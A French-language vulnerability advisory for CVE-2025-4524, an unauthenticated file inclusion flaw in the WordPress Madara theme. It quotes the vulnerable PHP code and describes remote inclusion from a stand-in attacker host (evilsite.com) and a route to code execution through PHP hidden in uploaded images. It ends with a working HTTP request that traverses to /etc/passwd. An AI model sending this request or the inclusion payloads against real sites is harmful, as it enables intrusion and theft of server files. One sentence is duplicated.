
CVE-2025-4524 - LFI non authentifié du thème WordPress madara-core
Une vulnérabilité réside dans l'action madara_load_more du thème madara, où un paramètre template contient des données arbitraires de l'utilisateur et est passé à la fonction include de PHP.
Une vulnérabilité réside dans l'action madara_load_more du thème madara, où un paramètre template contient des données arbitraires de l'utilisateur et est passé à la fonction de PHP.
includeLe code vulnérable est le suivant :
add_action( 'wp_ajax_madara_load_more', array( $this, 'ajax_load_next_page' ) );
add_action( 'wp_ajax_nopriv_madara_load_more', array( $this, 'ajax_load_next_page' ) );
...
function ajax_load_next_page() {
...
if ( $query->have_posts() ) {
while ( $query->have_posts() ) {
$query->the_post();
$madara_loop_index ++;
set_query_var( 'madara_loop_index', $madara_loop_index );
if ( $madara_loop_index < $posts_per_page + 1 ) {
if ( ( strpos( $template, 'plugins' ) !== false ) ) {
include( $template ); // we are in wp-content\themes\madara\app\{plugins} VULN
} else {
//$post_format = get_post_format() ? get_post_format : '';
get_template_part( $template, get_post_format() );
}
}
}
if ( $query->post_count <= $posts_per_page ) {
// there are no more posts
// print a flag to detect
echo '<div class="invi no-posts"><!-- --></div>';
}
} else {
// no posts found
}
/* Restore original Post Data */
wp_reset_postdata();
die( '' );
}
À chaque requête réussie de madara_load_more, le modèle passé via template sera rendu avec le résultat. Si la chaîne plugins est détectée dans le paramètre template, l'entrée est passée telle quelle à include, tandis que si elle n'est pas présente, WordPress trouvera le modèle.
Nous pouvons utiliser cela pour consulter des fichiers arbitraires, soit avec https://evilsite.com/plugins/evil.php si allow_url_include est activé, soit via un parcours de répertoire. Étant donné que le répertoire courant lors de ces actions est wp-content/themes/madara/app/, et qu'un répertoire plugins existe, nous pouvons inclure quelque chose comme plugins/../../../../../wp-content/uploads/evil.png.
Cela peut être exploité en fonction de allow_url_include.
S'il est activé, un acteur malveillant peut configurer un serveur HTTP qui répond avec un script PHP malveillant lors de la réception d'une requête contenant la chaîne plugins.
S'il est désactivé, un acteur malveillant peut télécharger un fichier contenant une chaîne PHP (métadonnées EXIF d'image, données de pixels, etc.) par d'autres moyens sur l'instance WordPress et inclure le fichier. Ainsi, les données de l'image ne seront pas interprétées comme du PHP et seul le PHP entre les balises le sera.
Cela peut conduire à une RCE ou à une LFI.

POST /wp-admin/admin-ajax.php HTTP/2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 490
action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail